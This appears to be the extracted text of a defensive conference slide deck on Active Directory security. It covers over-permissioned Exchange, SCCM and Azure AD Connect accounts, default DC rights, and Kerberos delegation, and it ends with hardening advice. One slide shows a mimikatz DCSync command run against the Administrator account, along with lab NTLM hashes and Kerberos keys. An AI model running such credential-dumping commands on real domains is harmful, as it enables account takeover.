Active Directory Security: The Journey

Sean Metcalf (@Pyrotek3)
sean [@] TrimarcSecurity.com
www.ADSecurity.org
TrimarcSecurity.com
ABOUT

❖ Founder Trimarc, a security company.
❖ Microsoft Certified Master (MCM) Directory Services
❖ Speaker: Black Hat, Blue Hat, BSides, DEF CON, DerbyCon, Shakacon, Sp4rkCon
❖ Security Consultant / Researcher
❖ Own & Operate ADSecurity.org (Microsoft platform security info)

* Not a Microsoft MVP
AGENDA

• Current state of Active Directory Security
• AD Security Evolution
• Expanding AD Permissions
• Common Issues
• Microsoft Guidance
• Recommendations

Slides: Presentations.ADSecurity.org
The Current State of Active Directory: The Good, the Bad, & the UGLY
The Good

• Better awareness of the importance of AD security.
• AD security more thoroughly tested.
• Less Domain Admins (overall).
• Less credentials in Group Policy Preferences.
• More local Admin passwords are automatically rotated (LAPS).
• PowerShell security improvements (v5).
The Bad & UGLY

• Too many Domain Admins still administer AD from their regular workstation.
• Privilege escalation from regular user is still too easy.
• Lots of legacy cruft reduces security.
• Not enough (PowerShell) logging deployed.
• Too many blind spots (poor visibility).
• The UGLY
  • 2018: cybersecurity spending = ~$90B
    what improved?
    • Attack detection hasn’t really improved.
    • Now with more Ransom/Crypto-Ware
The Evolution of Active Directory Security
AD Security: The early days

- The year is 2000, the OS is too!
- Active Directory key design decisions
- Replication is feared
- Kerberos is embraced and extended
- Enter SIDHistory
- Compromises to support Windows NT legacy
- NT lives on! 😞
AD Security: AD v2 & v3

- Windows 2003 Server
- Lots of improvements
- AD matures significantly
- LastLogonTimestamp tracks last logon (& replicates!)
- Constrained Delegation
- Selective Authentication for Trusts. Everyone ignores...
- Many organizations deploy Active Directory

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
AD: Let’s Do Security!

- Windows Server 2008/2008 R2
- Enter the AD Recycle Bin
- Last interactive logon information
- Fine-grained password policies
- Authentication mechanism assurance which identifies logon method type (smart card or user name/password)
- Managed Service Accounts (let AD handle the password)
- Automatic SPN management for services running under context of a Managed Service Account.
- Goodbye Kerberos DES, hello AES

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
AD: Security Enhancements

• Windows Server 2012/2012 R2
• Focus on protecting credentials
• Shift in security focus
• DC-side protections for Protected Users
  • No NTLM authentication
  • No Kerberos DES or RC4 ciphers
  • No Delegation – unconstrained or constrained delegation
  • No user tickets (TGTs) renewed beyond the initial 4 hr lifetime
• Authentication Policies & Authentication Policy Silos
Rearchitecting Security
Windows Server 2016/Windows 10

• Major changes in OS security architecture
• From Normal World to Secure World (VSM)
• Credential Guard & Remote Credential Guard
• Lots of minor changes, big impact (recon)
• New shadow security principals (groups)
• An expiring links feature (Group TTL)
• KDC enhancements to restrict Kerberos ticket lifetime to the lowest group TTL
AD Permissions:
What you don’t know can hurt
It's important to understand that it *doesn't* matter what Active Directory permissions a user *has* when using the Exchange management tools. *If the user is authorized, via RBAC*, to perform an action in the Exchange management tools, *the user can perform the action regardless of his or her Active Directory permissions.*

Highly Privileged Exchange Groups

• Exchange Trusted Subsystem (like SYSTEM, only better)
  • “The Exchange Trusted Subsystem is a highly privileged ...Group that has read/write access to every Exchange-related object in the Exchange organization.”
  • Members: Exchange Servers
  • MemberOf: Exchange Windows Permissions

• Exchange Windows Permissions
  • Provides rights to AD objects (users, groups, etc)
  • Members: Exchange Trusted Subsystem

• Organization Management (the DA of the Exchange world)
  • “Members ... have administrative access to the entire Exchange 2013 organization and can perform almost any task against any Exchange 2013 object, with some exceptions.
  ...is a very powerful role and as such, only users or ... groups that perform organizational-level administrative tasks that can potentially impact the entire Exchange organization should be members of this role group.”
  • Members: 2 to 3 Exchange organization admin accounts (or less)
Exchange Rights & RBAC

• Exchange has extensive rights throughout Active Directory.

• Modify rights on most objects, including users and groups (even admins).
  • Except AdminSDHolder protected groups/users.

• Access provided through Exchange groups (like Exchange Windows Permissions)

• Migrated to O365?
  Great, all these permissions are still in AD.

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Old Exchange Permissions Persist Upgrade after Upgrade...

Microsoft System Center Configuration Manager (SCCM)

• Originally SMS (not text messaging)
• Granular delegation was a challenge, better in SCCM 2012.
• Role-Based Access breakout
  • All Desktops - Workstation Assets
  • All Servers - Server Assets
• Typically manages (& patches) all Windows systems
  • Workstations
  • Servers
  • Domain Controllers

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
3rd Party Product Permission Requirements

- Domain user access
- Operations systems access
- Mistaken identity – trust the installer
- AD object rights
- Install permissions on systems
- Needs System rights

- Active Directory privileged rights
- Domain permissions during install
- More access required than often needed.
- Initial start/run permissions
- Needs full AD rights
3rd Party Product Permission Requirements

- **D**omain user access
- **O**perations systems access
- **M**istaken identity – trust the installer
- **AD** object rights
- **I**nstall permissions on systems
- **N**eeds System rights
- **A**ctive Directory privileged rights
- **D**omain permissions during install
- **M**ore access required than often needed.
- **I**nitial start/run permissions
- **N**eeds full AD rights
Over-permissioned Delegation

• Use of built-in groups for delegation
• Clicking the "easy button": Full Control at the domain root.
• Let's just "make it work"
• Delegation tools in AD are challenging to get right
<table>
<thead>
<tr>
<th>Type</th>
<th>Principal</th>
<th>Access</th>
<th>Inherited from</th>
<th>Applies to</th>
</tr>
</thead>
<tbody>
<tr>
<td>Deny</td>
<td>Everyone</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>LAPS Password Admins (ADSECLAB\LAP...</td>
<td>Special</td>
<td>None</td>
<td>Descendant Computer objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Workstation Admins (ADSECLAB\Work...</td>
<td>Full control</td>
<td>None</td>
<td>Descendant Computer objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Account...</td>
<td>Create/delete InetOrgPerson</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Account...</td>
<td>Create/delete Computer objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Account...</td>
<td>Create/delete Group objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Print Operators (ADSECLAB\Print Oper...</td>
<td>Create/delete Printer objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Account...</td>
<td>Create/delete User objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Domain Computers (ADSECLAB\Dom...</td>
<td>Full control</td>
<td>None</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Domain Admins (ADSECLAB\Domain ...</td>
<td>Full control</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>ENTERPRISE DOMAIN CONTROLLERS</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Authenticated Users</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>SYSTEM</td>
<td>Full control</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access...</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant InetOrgPerson objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access...</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant Group objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access...</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant User objects</td>
</tr>
<tr>
<td>Allow</td>
<td>SELF</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Enterprise Admins (ADSECLAB\Enterprise...</td>
<td>Full control</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access...</td>
<td>List contents</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Administrators (ADSECLAB\Administrators...</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>ENTERPRISE DOMAIN CONTROLLERS</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant Computer objects</td>
</tr>
<tr>
<td>Type</td>
<td>Principal</td>
<td>Access</td>
<td>Inherited from</td>
<td>Applies to</td>
</tr>
<tr>
<td>-------</td>
<td>-----------------------------------------------</td>
<td>------------------</td>
<td>----------------</td>
<td>-----------------------------------------------</td>
</tr>
<tr>
<td>Deny</td>
<td>Everyone</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>LAPS Password Admins (ADSECLAB\LAPS...</td>
<td>Special</td>
<td>None</td>
<td>Descendant Computer objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Workstation Admins (ADSECLAB\Work...</td>
<td>Full control</td>
<td>None</td>
<td>Descendant Computer objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Account...</td>
<td>Create/delete InetOrgPerson objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Account...</td>
<td>Create/delete Computer objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Account...</td>
<td>Create/delete Group objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Print Operators (ADSECLAB\Print...</td>
<td>Create/delete Printer objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Account...</td>
<td>Create/delete User objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Domain Computers (ADSECLAB\Domain...</td>
<td>Full control</td>
<td>None</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Domain Admins (ADSECLAB\Domain...</td>
<td>Full control</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>ENTERPRISE DOMAIN CONTROLLERS</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Authenticated Users</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>SYSTEM</td>
<td>Full control</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access...</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant InetOrgPerson objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access...</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant Group objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access...</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant User objects</td>
</tr>
<tr>
<td>Allow</td>
<td>SELF</td>
<td>Special</td>
<td>None</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>SELF</td>
<td>Special</td>
<td>None</td>
<td>This object and all descendant objects</td>
</tr>
</tbody>
</table>
Active Directory & the Cloud

• AD provides Single Sign On (SSO) to cloud services.
• Some directory sync tools synchronizes all users & attributes to cloud service(s).
• Most sync engines only require AD user rights to send user and group information to cloud service.
• Most organizations aren’t aware of all cloud services active in their environment.
• Do you know what cloud services sync information from your Active Directory?

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Azure AD Connect

• **Filtering** – select specific objects to sync (default: all users, contacts, groups, & Win10). Adjust filtering based on domains, OUs, or attributes.

• **Password synchronization** – AD pw hash hash ---&gt; Azure AD.
  PW management only in AD (use AD pw policy)

• **Password writeback** - enables users to update password while connected to cloud resources.

• **Device writeback** – writes Azure AD registered device info to AD for conditional access.

• **Prevent accidental deletes** – protects against large number of deletes (enabled by default).
  feature is turned on by default and protects your cloud directory from numerous deletes at the same time. By default it allows 500 deletes per run. You can change this setting depending on your organization size.

• **Automatic upgrade** – Keeps Azure AD Connect version current (express settings enabled by default).

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Express Permissions for Azure AD Connect

Permissions for the created AD DS account for express settings

The account created for reading and writing to AD DS have the following permissions when created by express settings:

<table>
<thead>
<tr>
<th>Permission</th>
<th>Used for</th>
</tr>
</thead>
<tbody>
<tr>
<td>Replicate Directory Changes</td>
<td>Password sync</td>
</tr>
<tr>
<td>Replicate Directory Changes All</td>
<td></td>
</tr>
<tr>
<td>Read/Write all properties User</td>
<td>Import and Exchange hybrid</td>
</tr>
<tr>
<td>Read/Write all properties iNetOrgPerson</td>
<td>Import and Exchange hybrid</td>
</tr>
<tr>
<td>Read/Write all properties Group</td>
<td>Import and Exchange hybrid</td>
</tr>
<tr>
<td>Read/Write all properties Contact</td>
<td>Import and Exchange hybrid</td>
</tr>
<tr>
<td>Reset password</td>
<td>Preparation for enabling password writeback</td>
</tr>
</tbody>
</table>

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Express Permissions for Azure AD Connect

Permissions for the created AD DS account for express settings

The **account** created for reading and writing to AD DS have the following permissions when created by express settings:

<table>
<thead>
<tr>
<th>Permission</th>
<th>Used for</th>
</tr>
</thead>
<tbody>
<tr>
<td>Replicate Directory Changes</td>
<td>Password sync</td>
</tr>
<tr>
<td>Replicate Directory Changes All</td>
<td></td>
</tr>
<tr>
<td>Read/Write all properties User</td>
<td>Import and Exchange hybrid</td>
</tr>
<tr>
<td>Read/Write all properties iNetOrgPerson</td>
<td>Import and Exchange hybrid</td>
</tr>
<tr>
<td>Read/Write all properties Group</td>
<td>Import and Exchange hybrid</td>
</tr>
<tr>
<td>Read/Write all properties Contact</td>
<td>Import and Exchange hybrid</td>
</tr>
<tr>
<td>Reset password</td>
<td>Preparation for enabling password writeback</td>
</tr>
</tbody>
</table>
DCSync

mimikatz(commandline) # lsadump:dcsync /domain:rd.adsecurity.org /user:Administrator

[DC] 'rd.adsecurity.org' will be the domain
[DC] 'RDLABDCO1.rd.adsecurity.org' will be the DC server

[DC] 'Administrator' will be the user account

Object RDN : Administrator

** SAM ACCOUNT **

SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration :
Password last change : 9/7/2015 9:54:33 PM
Object Security ID : 5-1-5-21-2578996962-4185879466-3696909401-500
Object Relative ID : 500

Credentials:
Hash NTLM: 96ae239ae1f8f186a205b6863a3c955f
ntlm- 0: 96ae239ae1f8f186a205b6863a3c955f
ntlm- 1: 5164b7a0fda365d56739954bbbc23835
ntlm- 2: 7c08d63a2f48f045971bc2236ed3f3ac
lm - 0: 6cfd3clbccc30b3fe5d716efef10f46e49
lm - 1: d1726ccc03fd143869304c6d3f30fdb8d

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : RD.ADSECURITY.ORGAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 239bf3a0f5bc05779bfc610e5d845e78638deac142e3674af58a674b67e102b
aes128_hmac (4096) : f4d4b923350fbc545f176d418aefbf2b2
des_cbc_md5 (4096) : 5d8c9e46a4ad4acd
rc4_plain (4096) : 96ae239ae1f8f186a205b6863a3c955f
Old Credentials
aes256_hmac (4096) : 0526e75306d2090d03f0ea0ef681aae5ae591e2d9c27eaa49c3322525382dd3f
aes128_hmac (4096) : 4c41e4d7a3e932d64feeed264d48a19e
des_cbc_md5 (4096) : 5bf0d00ef3e32334
rc4_plain (4096) : 5164b7a0fda365d56739954bbbc23835
## Custom Permissions for Azure AD Connect

<table>
<thead>
<tr>
<th>Feature</th>
<th>Permissions</th>
</tr>
</thead>
<tbody>
<tr>
<td>msDS-ConsistencyGuid feature</td>
<td>Write permissions to the msDS-ConsistencyGuid attribute documented in Design Concepts - Using msDS-ConsistencyGuid as sourceAnchor.</td>
</tr>
<tr>
<td>Password sync</td>
<td>• Replicate Directory Changes</td>
</tr>
<tr>
<td></td>
<td>• Replicate Directory Changes All</td>
</tr>
<tr>
<td>Exchange hybrid deployment</td>
<td>Write permissions to the attributes documented in Exchange hybrid writeback for users, groups, and contacts.</td>
</tr>
<tr>
<td>Exchange Mail Public Folder</td>
<td>Read permissions to the attributes documented in Exchange Mail Public Folder for public folders.</td>
</tr>
<tr>
<td>Password writeback</td>
<td>Write permissions to the attributes documented in Getting started with password management for users.</td>
</tr>
<tr>
<td>Device writeback</td>
<td>Permissions granted with a PowerShell script as described in device writeback.</td>
</tr>
<tr>
<td>Group writeback</td>
<td>Read, Create, Update, and Delete group objects in the OU where the distributions groups should be located.</td>
</tr>
</tbody>
</table>

Microsoft Security Advisory 4056318

Guidance for securing AD DS account used by Azure AD Connect for directory synchronization

Published: December 12, 2017

Version: 1.0

Executive Summary

Microsoft is releasing this security advisory to provide information regarding security settings for the AD DS (Active Directory Domain Services) account used by Azure AD Connect for directory synchronization. This advisory also provides guidance on what on-premises AD administrators can do to ensure that the account is properly secured.

Advisory Details

Azure AD Connect lets customers synchronize directory data between their on-premises AD and Azure AD. Azure AD Connect requires the use of an AD DS user account to access the on-premises AD. This account is sometimes referred to as the AD DS connector account. When setting up Azure AD Connect, the installing administrator can either:

- Provide an existing AD DS account, or
- Let Azure AD Connect automatically create the account. The account will be created directly under the on-premises AD User container. For Azure AD Connect to fulfill its function, the account must be granted specific privileged directory permissions (such as Write permissions to directory objects for Hybrid Exchange writeback, or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All for Password Hash Synchronization). To learn more about the account, refer to article Azure AD Connect: Accounts and Permissions.

Every two minutes, the password synchronization agent on the Azure AD Connect server requests stored password hashes (the unicodePwd attribute) from a DC via the standard MS-DRSR replication protocol used to synchronize data between DCs.
PW Sync (MD4+salt+PBKDF2+HMAC-SHA256)

1. Request unicode PWD via M-DBSR
2. MD5 (unicode PWD)
3. Password sync agent decrypts MD5 envelope to retrieve MD4 hash
4. 8-byte binary hash is converted to 64-byte binary.
5. 10-byte salt added.
6. 64-bit hash is input into SHA256.
7. SHA256 hash sent to Azure AD
8. User signs in to Azure AD. If their hashed password matches the stored password then the user is authenticated.


Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Azure AD Connect Server Recommendations

• Protect like a Domain Controller
• Lock down AAD Connect server
  • Firewall off from the network – only needs to connect to Azure AD & DCs
  • Only AD Admins should be allowed to logon/admin
• Lock down AADC service account (MSOL_*) logon ability
• Monitor AADC service account logon
• Keep the Account Operators group empty

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Common Issues Persist...
## Default Domain Controllers Policy

### Local Policies/Security Options

<table>
<thead>
<tr>
<th>Domain Controller</th>
<th>Policy</th>
<th>Setting</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Domain controller: LDAP server signing requirements</td>
<td>None</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Domain Member</th>
<th>Policy</th>
<th>Setting</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Domain member: Digitally encrypt or sign secure channel data (always)</td>
<td>Enabled</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Microsoft Network Server</th>
<th>Policy</th>
<th>Setting</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Microsoft network server: Digitally sign communications (always)</td>
<td>Enabled</td>
</tr>
<tr>
<td></td>
<td>Microsoft network server: Digitally sign communications (if client agrees)</td>
<td>Enabled</td>
</tr>
<tr>
<td>Policy</td>
<td>Setting</td>
<td></td>
</tr>
<tr>
<td>-------------------------------------------------</td>
<td>-------------------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td>Access this computer from the network</td>
<td>BUILTIN\Pre-Windows 2000 Compatible Access, NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS, NT AUTHORITY\Authenticated Users, BUILTIN\Administrators, Everyone</td>
<td></td>
</tr>
<tr>
<td>Add workstations to domain</td>
<td>NT AUTHORITY\Authenticated Users</td>
<td></td>
</tr>
<tr>
<td>Adjust memory quotas for a process</td>
<td>BUILTIN\Administrators, NT AUTHORITY\NETWORK SERVICE, NT AUTHORITY\LOCAL SERVICE</td>
<td></td>
</tr>
<tr>
<td>Allow log on locally</td>
<td>NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS, BUILTIN\Print Operators, BUILTIN\Server Operators, BUILTIN\Account Operators, BUILTIN\Backup Operators, BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Back up files and directories</td>
<td>BUILTIN\Server Operators, BUILTIN\Backup Operators, BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Bypass traverse checking</td>
<td>BUILTIN\Pre-Windows 2000 Compatible Access, NT AUTHORITY\Authenticated Users, BUILTIN\Administrators, NT AUTHORITY\NETWORK SERVICE, NT AUTHORITY\LOCAL SERVICE, Everyone</td>
<td></td>
</tr>
<tr>
<td>Change the system time</td>
<td>BUILTIN\Server Operators, BUILTIN\Administrators, NT AUTHORITY\LOCAL SERVICE</td>
<td></td>
</tr>
<tr>
<td>Create a pagefile</td>
<td>BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Debug programs</td>
<td>BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Enable computer and user accounts to be trusted for delegation</td>
<td>BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Force shutdown from a remote system</td>
<td>NT AUTHORITY\NETWORK SERVICE, NT AUTHORITY\LOCAL SERVICE</td>
<td></td>
</tr>
<tr>
<td>Generate security audits</td>
<td>BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Increase scheduling priority</td>
<td>BUILTIN\Print Operators, BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Load and unload device drivers</td>
<td>BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Log on as a batch job</td>
<td>BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Manage auditing and security log</td>
<td>BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Modify firmware environment values</td>
<td>BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Profile single process</td>
<td>BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Profile system performance</td>
<td>NT SERVICE\WdServiceHost, BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Remove computer from docking station</td>
<td>BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Replace a process level token</td>
<td>NT AUTHORITY\NETWORK SERVICE, NT AUTHORITY\LOCAL SERVICE</td>
<td></td>
</tr>
<tr>
<td>Restore files and directories</td>
<td>BUILTIN\Server Operators, BUILTIN\Backup Operators, BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Shut down the system</td>
<td>BUILTIN\Print Operators, BUILTIN\Server Operators, BUILTIN\Backup Operators, BUILTIN\Administrators</td>
<td></td>
</tr>
<tr>
<td>Take ownership of files or other objects</td>
<td>BUILTIN\Administrators</td>
<td></td>
</tr>
</tbody>
</table>
From Basic to Bad

- Access Credential Manager as a trusted caller
- Access this computer from the network
- Act as part of the operating system
- Add workstations to domain
- Adjust memory quotas for a process
- Allow log on locally
- Allow log on through Remote Desktop Services
- Back up files and directories
- Bypass traverse checking
- Change the system time
- Change the time zone
- Create a pagefile
- Create a token object
- Create global objects
- Create permanent shared objects
- Create symbolic links
- Debug programs
- Deny access to this computer from the network
- Deny log on as a batch job
- Deny log on as a service
- Deny log on locally
- Deny log on through Remote Desktop Services
- Enable computer and user accounts to be trusted for deleg...
- Force shutdown from a remote system
- Generate security audits
- Impersonate a client after authentication
- Increase a process working set
- Increase scheduling priority
- Lock pages in memory
- Log on as a batch job
- Log on as a service
- Log on through Remote Desktop Services
- Modify the registry
- Run programs
- Send E-mail
- Send real-time messages
- Start a program
- Stop a program
- Unlock stations
- Uninstall device drivers
- Use the system time
- View running processes
- View, start, stop, and change the status of tasks

- Not Defined
- Everyone, Administrators, Authenticated Users, ENTERPRISE DOMAIN CONTROLLERS, Pre-Windows 2000 Compatible Access
- Not Defined
- Authenticated Users
- LOCAL SERVICE, NETWORK SERVICE, Administrators
- Server Operators, Print Operators, ENTERPRISE DOMAIN CONTROLLERS, Domain Users, Backup Operators, Administrators, Account Operators
- Not Defined
- Administrators, Backup Operators, Server Operators
- Everyone, LOCAL SERVICE, NETWORK SERVICE, Administrators, Window Manager, Window Manager Group, Authenticated Users, Pre-Windo...
- LOCAL SERVICE, Administrators, Server Operators
- Not Defined
- Administrators
- Not Defined
- Not Defined
- Not Defined
- Not Defined
- Not Defined
- Not Defined
- Not Defined
- Not Defined
- Administrators
- Administrators, Server Operators
- LOCAL SERVICE, NETWORK SERVICE
- Not Defined
- Administrators
- Administrators, Print Operators
- Not Defined
- Administrators, Backup Operators, Performance Log Users
| Access Credential Manager as a trusted caller | Not Defined |
| Access this computer from the network | Everyone, Administrators, Authenticated Users, ENTERPRISE DOMAIN CONTROLLERS, Pre-Windows 2000 Compatible Access |
| Act as part of the operating system | Not Defined |
| Add workstations to domain | Authenticated Users |
| Adjust memory quotas for a process | LOCAL SERVICE, NETWORK SERVICE, Administrators |
| Allow log on locally | Server Operators, Print Operators, ENTERPRISE DOMAIN CONTROLLERS, Domain Users, Backup Operators, Administrators, Account Operators |
| Allow log on through Remote Desktop Services | Not Defined |
| Back up files and directories | Administrators, Backup Operators, Server Operators |
| Bypass traverse checking | Everyone, LOCAL SERVICE, NETWORK SERVICE, Administrators, Windows Manager, Windows Manager Group, Authenticated Users, Pre-Windo... |
| Change the system time | LOCAL SERVICE, Administrators, Server Operators |
| Change the time zone | Not Defined |
| Create a pagefile | Administrators |
| Create a token object | Not Defined |
| Create global objects | Not Defined |
| Create permanent shared objects | Not Defined |
| Create symbolic links | Not Defined |
| Debug programs | Administrators |
| Deny access to this computer from the network | Not Defined |
| Deny log on as a batch job | Not Defined |
| Deny log on as a service | Not Defined |
| Deny log on locally | Not Defined |
| Deny log on through Remote Desktop Services | Not Defined |
| Enable computer and user accounts to be trusted for delegation | Administrators |
| Force shutdown from a remote system | Administrators, Server Operators |
| Generate security audits | LOCAL SERVICE, NETWORK SERVICE |
| Impersonate a client after authentication | Not Defined |
| Increase a process working set | Not Defined |
| Increase scheduling priority | Administrators |
| Load and unload device drivers | Administrators, Print Operators |
From Basic to Bad: DC Remote Logon Rights

Allow log on through Remote Desktop Services

Server Admins

Allow log on locally Properties

Security Policy Setting [ ]

Define these policy settings:

Account Operators
Administrators
Backup Operators

Domain Users
 ENTERPRISE DOMAIN CONTROLLERS
 Print Operators
 Server Operators

Add User or Group... Remove

Modifying this setting may affect compatibility with clients, services, and applications.
For more information, see Allow log on locally. (Q823659)
“Audited events are viewed in the security log of the Event Viewer. A user with this policy can also view and clear the security log.”
From Basic to Bad: Delegation

Enable computer and user accounts to be trusted for delegation

Server Admins, Administrators
Kerberos Delegation
Impersonate Anyone
Kerberos “Double Hop” Issue

User’s Workstation  Web Server  Database Server

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
### Discover Servers Configured with Unconstrained Delegation

```powershell
PS C:\Windows\system32> Import-Module ActiveDirectory
Get-ADComputer -Filter {((TrustedForDelegation -eq $True) -AND (PrimaryGroupID -eq 515))} -Properties 'TrustedForDelegation,TrustedToAuthForDelegation,servicePrincipalName,Description
```

<table>
<thead>
<tr>
<th>Description</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>DistinguishedName</td>
<td><code>CN=ADSDB01,OU=Servers,OU=Systems,DC=lab,DC=adsecurity,DC=org</code></td>
</tr>
<tr>
<td>DNSHostName</td>
<td><code>ADSDB01.lab.adsecurity.org</code></td>
</tr>
<tr>
<td>Enabled</td>
<td>True</td>
</tr>
<tr>
<td>Name</td>
<td><code>ADSDB01</code></td>
</tr>
<tr>
<td>ObjectClass</td>
<td><code>computer</code></td>
</tr>
<tr>
<td>ObjectGUID</td>
<td><code>6bd00906-eb69-4415-9f69-f6694602bba1</code></td>
</tr>
<tr>
<td>SamAccountName</td>
<td><code>ADSDB01$</code></td>
</tr>
<tr>
<td>servicePrincipalName</td>
<td><code>{WSMAN/ADSDB01.lab.adsecurity.org, WSMAN/ADSDB01, TERMSRV/ADSDB01, TERMSRV/ADSDB01.lab.adsecurity.org...}</code></td>
</tr>
<tr>
<td>SID</td>
<td><code>S-1-5-21-1583770191-140008446-3268284411-2102</code></td>
</tr>
</tbody>
</table>

- **TrustedForDelegation**: True
- **TrustedToAuthForDelegation**: False
- **UserPrincipalName**: 

---

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Kerberos Unconstrained Delegation

Delegation is a security-sensitive operation, which allows services to act on behalf of another user.

- Do not trust this computer for delegation
- Trust this computer for delegation to any service (Kerberos only)
- Trust this computer for delegation to specified services only
  - Use Kerberos only
  - Use any authentication protocol

Services to which this account can present delegated credentials:

<table>
<thead>
<tr>
<th>Service Type</th>
<th>User or Computer</th>
<th>Port</th>
<th>Service Name</th>
</tr>
</thead>
</table>

- Expanded
Kerberos Unconstrained Delegation

1. AS_REQ (request TGT)
2. AS REP (receive TGT)
3. TGS_REQ (present TGT, request TGS)
